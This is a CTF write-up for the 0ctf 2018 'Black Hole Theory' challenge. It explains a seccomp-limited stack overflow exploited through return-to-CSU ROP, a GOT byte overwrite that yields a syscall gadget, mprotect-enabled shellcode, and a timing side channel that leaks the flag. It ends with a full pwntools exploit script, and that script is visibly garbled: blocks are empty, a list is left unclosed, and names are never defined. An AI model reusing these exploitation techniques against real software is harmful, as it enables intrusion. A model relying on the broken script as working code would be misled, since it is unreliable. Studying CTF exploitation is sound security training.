0ctf 2018 - Black Hole Theory

The challenge is a simple binary that first sets a few seccomp rules to disable all the syscalls besides open, close, read, mprotect and exit. Then it proceeds to read 0x100 bytes into a stack variable that serves as an obvious stack overrun. To further complicate issues the binary is executed by a wrapper, that reads 0x800 bytes and passes it to the program on its stdin, in one burst, while it also closes the stdout pipe.

The binary is not compiled as a PIC and full-relro is not turned on, this enables the use of the return to CSU primitive (also suggested by the hint). The primitive allows us to call a pointer at an arbitrary location in the address space with the first three parameters controlled. Since there is no way to leak addresses from the binary (stdout closed, no write syscall) we must use that is already there. This very simple binary only uses two libc functions (alarm and read), the address of which are present in the .got.plt section, at a known location.

With these primitives the following exploit flow seems possible:

  • Use the CSU primitive to call the read libc function and use it to overwrite the LSB of the alarm function pointer
  • By setting the alarm address 5 bytes higher, the alarm function is turned into an arbitrary syscall primitive (the set rax part is skipped)
  • Since rax cannot be controlled by ROP gadgets the return value of read must be used to set it. Read 10 bytes to somewhere to set rax to 10 which is mprotect’s syscall nr.
  • Call mprotect to turn the .bss into an rwx region
  • Read an arbitrary shell code to this new rwx region and jump to it
  • The shell code can read the flag and use a timing channel to leak its bits. In each execution it can crash and close the connection or go into an infinite loop based on the next bit of the flag. The difference in the time of the connection interrupt can be detected at receiver side, thus the flag can be reconstructed.

There is only a minor technical challenge while executing this plan. The size of the original payload is limited to 0x100-40 bytes which is enough to call the CSU primitive only three times. This can be alleviated by breaking up the first part of the exploit into multiple stages. Alternatively, with a bit of optimisation three calls can be enough to read and execute the shellcode:

  • The original read to overwrite the LSB of alarm can be 10 bytes long, setting up for the mprotect call.
  • Call mprotect
  • Call read, to read the address of the shellcode right after the read pointer in .got.plt and read the shell code as well.

If the rbp is set to more than one during the CSU call, the primitive consecutively executes multiple functions from the provided location. Using this the third CSU primitive will execute the shellcode that it read in. At this point the .bss would have the following layout:

  • random .got.plt entries
  • AAAAAAAAA - from using 10 bytes to overwrite the alarm LSB
  • modified address of alarm
  • address of read
  • address of the shell code (next address)
  • the shell code

This exploit yields the following flag (after considerable time):


The complete exploit:

import os
import sys
import time
from pwn import *
from hashlib import sha256
import magicpwn

c = None
m = None

def do_pow():
    chal = c.recv(16)
    for i in xrange(0xffffffff):
        if sha256(chal + p32(i)).hexdigest().startswith('00000'):
    raise ValueError("Failed to solve PoW")

def csu_call(rdi, rsi, rdx, rip, rbp=1):
    CSU1 = 0x400A4A
    # rbx 0
    # rbp 1
    # r12 ptr to callq
    # rdx
    # rsi
    # edi
    CSU2 = 0x400A30
    rc = p64(CSU1)
    rc += p64(0)
    rc += p64(rbp)
    rc += p64(rip)
    rc += p64(rdx)
    rc += p64(rsi)
    rc += p64(rdi)
    rc += p64(CSU2)
    return rc

def try_one(c, target, idx, bit):
    CALL_READ = 0x4009C0
    POP_RBP = 0x400808
    ADD_EBX_ESI = 0x400829

    ALARM_GOT = 0x601040
    READ_GOT = 0x601048
    DATA_SEG = 0x601000
    if target == 'remote':

    shell_size = 0x800 - (0x100 - 0x10)

    # overwrite lsb of alarm (make it syscall)
    rop = csu_call(0, ALARM_GOT-9, 10, READ_GOT)
    # return val 10 is sycall number
    rop += csu_call(DATA_SEG, 0x1000, 7, ALARM_GOT)
    # return val 0 is syscall number + call the read location
    rop += csu_call(0, DATA, shell_size, ALARM_GOT, 2)
    #rop += p64(DATA)
    payload = 'A'*40 + rop
    c.send(payload + 'B' * (0x100 - len(payload)))

    if m.target == 'remote':

    defs = {'IDX':str(idx), 'BITNR':str(bit)}
    shell = magicpwn.compile_shell("./shell.c", defs)
    if m.target == 'remote':
        flag = "flag\x00"
        flag = "/ctf/flag.txt\x00"

    pl = p64(DATA+8) + shell + flag
    c.send(pl + 'E' * (shell_size - len(pl)))

    if not c.connected():
        print("Flag location: {} incorrect".format(flag))
        raise ValueError("Failfish")
    if not c.connected():
        return 1
        return 1
    return 0

    #'b *0x4009c7',
    #'b *0x400a39', # call in csu
    #'b *0x601058', # jump to payload
    #'b *0x400863',
bp =[

if __name__ == "__main__":
    target = 'remote'
    context.log_level = logging.ERROR
    m = magicpwn.Magic(target, 'none', aslr=True, libc='local')
    flag = ""
    for i in range(42, 200):
        nextchr = 0
        for j in range(7):
            c = m.start(cmds=gdbs, bp=bp, ida=False)
            val = try_one(c, target, i, j)
            print("[#] CHR: {} BIT: {} VAL: {}".format(i, j, val))
            if val == 1:
                nextchr += 1<<j
        flag += chr(nextchr)
        print("[#] CHR {}: {} Flag: {}".format(i, chr(nextchr), flag))
        if chr(nextchr) == "}":

Google CTF - Inst Prof Writeup

Writeup for the 2017 Google CTF pwn challenge Inst Prof. Continue reading